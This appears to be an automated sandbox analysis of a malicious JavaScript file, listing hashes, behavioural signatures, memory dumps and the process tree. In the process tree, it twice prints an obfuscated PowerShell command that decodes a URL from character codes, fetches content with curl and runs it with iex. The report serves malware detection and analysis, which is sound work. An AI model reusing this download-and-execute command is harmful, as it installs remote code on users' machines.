Analysis

  • max time kernel
    96s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:13

General

  • Target

    2a3eb1dcc89ca971fe67f78e63dc76519a800eea76e93b756d192382f8290c30.js

  • Size

    182KB

  • MD5

    3df5479968dad408f66d0b33ad4db71d

  • SHA1

    dd96306a2acb4f4827a8c41fffdbb33ec4bffb4c

  • SHA256

    2a3eb1dcc89ca971fe67f78e63dc76519a800eea76e93b756d192382f8290c30

  • SHA512

    b0bdd13688d90f78cc9801ffc1946b7b4b89fee87724d27eb8ab8c807e2e11f303a903e51234220b5b64b13e47109101d3d00fb63c56fe9ca0d2eab2254f386b

  • SSDEEP

    1536:nwp7gInODsfWcMYnn8ZCuTYmSmN6LXgInODsfWcMYBn8ZCuTYmSmN6Lfn8ZCuTYl:n2JqPZgeaXJqPpgeakgeakJqPzJqPu

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2a3eb1dcc89ca971fe67f78e63dc76519a800eea76e93b756d192382f8290c30.js
    1⤵
      PID:2448
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $hupvlwijbm='ur' ;new-alias printout c$($hupvlwijbm)l;$eicgmxruynj=(515,526,534,518,520,515,535,534,539,472,534,468,515,463,533,528,529,464,466,463,529,521,529,480,532,478,526,522,527,533,532,467,466);$mnuqtleivawko=('bronx','get-cmdlet');$pvibdlzqnmrj=$eicgmxruynj;foreach($sqbrgmxkt in $pvibdlzqnmrj){$niawym=$sqbrgmxkt;$ocsxawgmztvd=$ocsxawgmztvd+[char]($niawym-417);$mevlfkygcsbtq=$ocsxawgmztvd; $lzhtpmuir=$mevlfkygcsbtq};$tvefqkdbncmzo[2]=$lzhtpmuir;$dxtwabyfceo='rl';$nvxlhptjisf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $lzhtpmuir)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4080
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $hupvlwijbm='ur' ;new-alias printout c$($hupvlwijbm)l;$eicgmxruynj=(515,526,534,518,520,515,535,534,539,472,534,468,515,463,533,528,529,464,466,463,529,521,529,480,532,478,526,522,527,533,532,467,466);$mnuqtleivawko=('bronx','get-cmdlet');$pvibdlzqnmrj=$eicgmxruynj;foreach($sqbrgmxkt in $pvibdlzqnmrj){$niawym=$sqbrgmxkt;$ocsxawgmztvd=$ocsxawgmztvd+[char]($niawym-417);$mevlfkygcsbtq=$ocsxawgmztvd; $lzhtpmuir=$mevlfkygcsbtq};$tvefqkdbncmzo[2]=$lzhtpmuir;$dxtwabyfceo='rl';$nvxlhptjisf=1;.$([char](9992-9887)+'e'+'x')(printout -useb $lzhtpmuir)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1816

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_aqafnmin.jyo.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1816-0-0x00007FFB411C3000-0x00007FFB411C5000-memory.dmp

      Filesize

      8KB

    • memory/1816-10-0x00000280B7300000-0x00000280B7322000-memory.dmp

      Filesize

      136KB

    • memory/1816-11-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB

    • memory/1816-12-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB

    • memory/1816-13-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB

    • memory/1816-14-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB

    • memory/1816-15-0x00007FFB411C3000-0x00007FFB411C5000-memory.dmp

      Filesize

      8KB

    • memory/1816-16-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB

    • memory/1816-19-0x00007FFB411C0000-0x00007FFB41C81000-memory.dmp

      Filesize

      10.8MB